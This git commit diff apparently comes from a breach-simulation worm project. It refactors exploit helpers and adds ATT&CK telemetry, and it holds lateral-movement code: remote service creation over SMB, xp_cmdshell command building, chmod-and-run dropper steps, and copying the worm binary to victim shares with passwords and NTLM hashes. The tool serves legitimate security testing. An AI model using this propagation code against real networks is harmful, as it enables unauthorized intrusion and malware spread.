Merge branch 'develop' into 400/zero-trust-mvp

This commit is contained in:
Shay Nehmad 2019-08-21 19:03:33 +03:00
commit 293a6639f2
85 changed files with 1903 additions and 648 deletions

View File

@ -10,6 +10,20 @@ class ScanStatus(Enum):
USED = 2
class UsageEnum(Enum):
SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."}
MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."}
MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."}
DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
" for monkey process wasn't successful."}
DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
# Dict that describes what BITS job was used for
BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."

View File

@ -125,6 +125,7 @@ class ControlClient(object):
@staticmethod
def send_telemetry(telem_category, data):
if not WormConfiguration.current_server:
LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category)
return
try:
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}

View File

@ -11,9 +11,11 @@ from ctypes import c_char_p
import filecmp
from infection_monkey.config import WormConfiguration
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from common.utils.attack_utils import ScanStatus, UsageEnum
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
@ -156,5 +158,6 @@ class MonkeyDrops(object):
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
except AttributeError:
LOG.error("Invalid configuration options. Failing")

View File

@ -11,7 +11,8 @@ import logging
import posixpath
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
__author__ = 'VakarisZ'

View File

@ -6,9 +6,10 @@ from time import sleep
import pymssql
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter, tools
from infection_monkey.exploit.tools import HTTPTools
from infection_monkey.exploit.tools import get_monkey_dest_path
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
build_monkey_commandline, get_monkey_depth
from infection_monkey.model import DROPPER_ARG
from infection_monkey.utils import get_monkey_dir_path
@ -40,7 +41,7 @@ class MSSQLExploiter(HostExploiter):
return False
# Get monkey exe for host and it's path
src_path = tools.get_target_monkey(self.host)
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
@ -68,9 +69,9 @@ class MSSQLExploiter(HostExploiter):
MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(' '.join(commands))
# Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1,
dst_path)
monkey_args = build_monkey_commandline(self.host,
get_monkey_depth() - 1,
dst_path)
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
for part in textwrap.wrap(monkey_args, 40)]
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]

View File

@ -12,9 +12,8 @@ from twisted.internet import reactor
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem

View File

@ -19,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import DROPPER_ARG
from infection_monkey.network.smbfinger import SMB_SERVICE
from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.pyinstaller_utils import get_binary_file_path
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
__author__ = 'itay.mizeretz'
@ -266,7 +269,10 @@ class SambaCryExploiter(HostExploiter):
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
T1105Telem(ScanStatus.USED,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_bin_64_src_path).send()
smb_client.disconnectTree(tree_id)
def trigger_module(self, smb_client, share):

View File

@ -6,11 +6,13 @@ from random import choice
import requests
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.shellshock_resources import CGI_FILES
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'danielg'
@ -131,6 +133,7 @@ class ShellShockExploiter(HostExploiter):
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
run_path = exploit + chmod
self.attack_page(url, header, run_path)
T1222Telem(ScanStatus.USED, chmod, self.host).send()
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)

View File

@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
from common.utils.attack_utils import ScanStatus, UsageEnum
LOG = getLogger(__name__)
@ -129,11 +131,13 @@ class SmbExploiter(HostExploiter):
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
lpBinaryPathName=cmdline)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(scmr_rpc, service)
status = ScanStatus.USED
except:
status = ScanStatus.SCANNED
pass
T1035Telem(status, UsageEnum.SMB).send()
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)

View File

@ -7,10 +7,14 @@ import paramiko
import infection_monkey.monkeyfs as monkeyfs
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port
from common.utils.exploit_enum import ExploitType
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'hoffer'
@ -162,10 +166,18 @@ class SSHExploiter(HostExploiter):
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
status = ScanStatus.USED
T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send()
ftp.close()
except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
status = ScanStatus.SCANNED
T1105Telem(status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
src_path).send()
if status == ScanStatus.SCANNED:
return False
try:

View File

@ -1,536 +0,0 @@
import logging
import ntpath
import os
import os.path
import pprint
import socket
import struct
import sys
import urllib
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port, get_routes
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from threading import Lock
class DceRpcException(Exception):
pass
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
(host, domain, username, password))
class WmiTools(object):
class WmiConnection(object):
def __init__(self):
self._dcom = None
self._iWbemServices = None
@property
def connected(self):
return self._dcom is not None
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
if not domain:
domain = host.ip_addr
dcom = DCOMConnection(host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
raise AccessDeniedException(host, username, password, domain)
raise
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
self._dcom = dcom
except:
dcom.disconnect()
raise
finally:
iWbemLevel1Login.RemRelease()
def close(self):
assert self.connected, "WmiConnection isn't connected"
self._iWbemServices.RemRelease()
self._iWbemServices = None
self._dcom.disconnect()
self._dcom = None
@staticmethod
def dcom_wrap(func):
def _wrapper(*args, **kwarg):
try:
return func(*args, **kwarg)
finally:
WmiTools.dcom_cleanup()
return _wrapper
@staticmethod
def dcom_cleanup():
for port_map in DCOMConnection.PORTMAPS.keys():
del DCOMConnection.PORTMAPS[port_map]
for oid_set in DCOMConnection.OID_SET.keys():
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
DCOMConnection.PORTMAPS = {}
if DCOMConnection.PINGTIMER:
DCOMConnection.PINGTIMER.cancel()
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
return wmi_connection._iWbemServices.GetObject(object_name)[0]
@staticmethod
def list_object(wmi_connection, object_name, fields=None, where=None):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
if fields:
fields_query = ",".join(fields)
else:
fields_query = "*"
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
if where:
wql_query += " WHERE %s" % (where,)
LOG.debug("Execution WQL query: %r", wql_query)
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
query = []
try:
while True:
try:
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
record = next_item.getProperties()
if not fields:
fields = record.keys()
query_record = {}
for key in fields:
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
raise
finally:
iEnumWbemClassObject.RemRelease()
return query
class SmbTools(object):
@staticmethod
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
" LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try:
smb.logoff()
except:
pass
return None
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
LOG.debug("Connected to %r using %s:\n%s",
host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
high_priority_shares = ()
low_priority_shares = ()
file_name = ntpath.split(dst_path)[-1]
for i in range(len(resp)):
share_name = resp[i]['shi2_netname'].strip("\0 ")
share_path = resp[i]['shi2_path'].strip("\0 ")
current_uses = resp[i]['shi2_current_uses']
max_uses = resp[i]['shi2_max_uses']
if current_uses >= max_uses:
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
share_name, host)
continue
elif not share_path:
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
share_name, host)
continue
share_info = {'share_name': share_name,
'share_path': share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info),)
shares = high_priority_shares + low_priority_shares
file_uploaded = False
for remote_path, share in shares:
share_name = share['share_name']
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name, share_path, remote_path, host)
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
# check if file is found on destination
if config.skip_exploit_if_file_exist:
try:
file_info = smb.listPath(share_name, remote_path)
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return remote_full_path
LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
pass # file isn't found on remote victim, moving on
try:
with monkeyfs.open(src_path, 'rb') as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path, share_name, share_path, host)
break
except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
continue
finally:
try:
smb.logoff()
except:
pass
smb = None
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
@staticmethod
def execute_rpc_call(smb, rpc_func, *args):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
return rpc_method_wrapper(dce, *args)
@staticmethod
def get_dce_bind(smb):
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
smb.getRemoteHost(),
filename=r'\srvsvc',
smb_connection=smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
return dce
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
"""
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
def get_interface_to_target(dst):
if sys.platform == "win32":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
def atol(x):
ip = socket.inet_aton(x)
return struct.unpack("!I", ip)[0]
routes = get_routes()
dst = atol(dst)
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
paths.append((m, (i, a, gw)))
if not paths:
return None
paths.sort()
ret = paths[-1][1]
return ret[1]
def get_target_monkey(host):
from infection_monkey.control import ControlClient
import platform
import sys
if host.monkey_exe:
return host.monkey_exe
if not host.os.get('type'):
return None
monkey_path = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and monkey_path:
host.monkey_exe = monkey_path
if not monkey_path:
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = ""
if parent is not None:
cmdline += " -p " + parent
if tunnel is not None:
cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False

View File

@ -0,0 +1,135 @@
import logging
import socket
import struct
import sys
from infection_monkey.network.info import get_routes
LOG = logging.getLogger(__name__)
def get_interface_to_target(dst):
"""
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
"""
if sys.platform == "win32":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
def atol(x):
ip = socket.inet_aton(x)
return struct.unpack("!I", ip)[0]
routes = get_routes()
dst = atol(dst)
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
paths.append((m, (i, a, gw)))
if not paths:
return None
paths.sort()
ret = paths[-1][1]
return ret[1]
def get_target_monkey(host):
from infection_monkey.control import ControlClient
import platform
import sys
if host.monkey_exe:
return host.monkey_exe
if not host.os.get('type'):
return None
monkey_path = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and monkey_path:
host.monkey_exe = monkey_path
if not monkey_path:
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = ""
if parent is not None:
cmdline += " -p " + parent
if tunnel is not None:
cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False

View File

@ -0,0 +1,62 @@
import logging
import os
import os.path
import urllib
from threading import Lock
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
"""
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd

View File

@ -0,0 +1,223 @@
import logging
import ntpath
import pprint
from impacket.dcerpc.v5 import transport, srvs
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class SmbTools(object):
@staticmethod
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
" LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try:
smb.logoff()
except:
pass
return None
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
LOG.debug("Connected to %r using %s:\n%s",
host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
high_priority_shares = ()
low_priority_shares = ()
file_name = ntpath.split(dst_path)[-1]
for i in range(len(resp)):
share_name = resp[i]['shi2_netname'].strip("\0 ")
share_path = resp[i]['shi2_path'].strip("\0 ")
current_uses = resp[i]['shi2_current_uses']
max_uses = resp[i]['shi2_max_uses']
if current_uses >= max_uses:
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
share_name, host)
continue
elif not share_path:
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
share_name, host)
continue
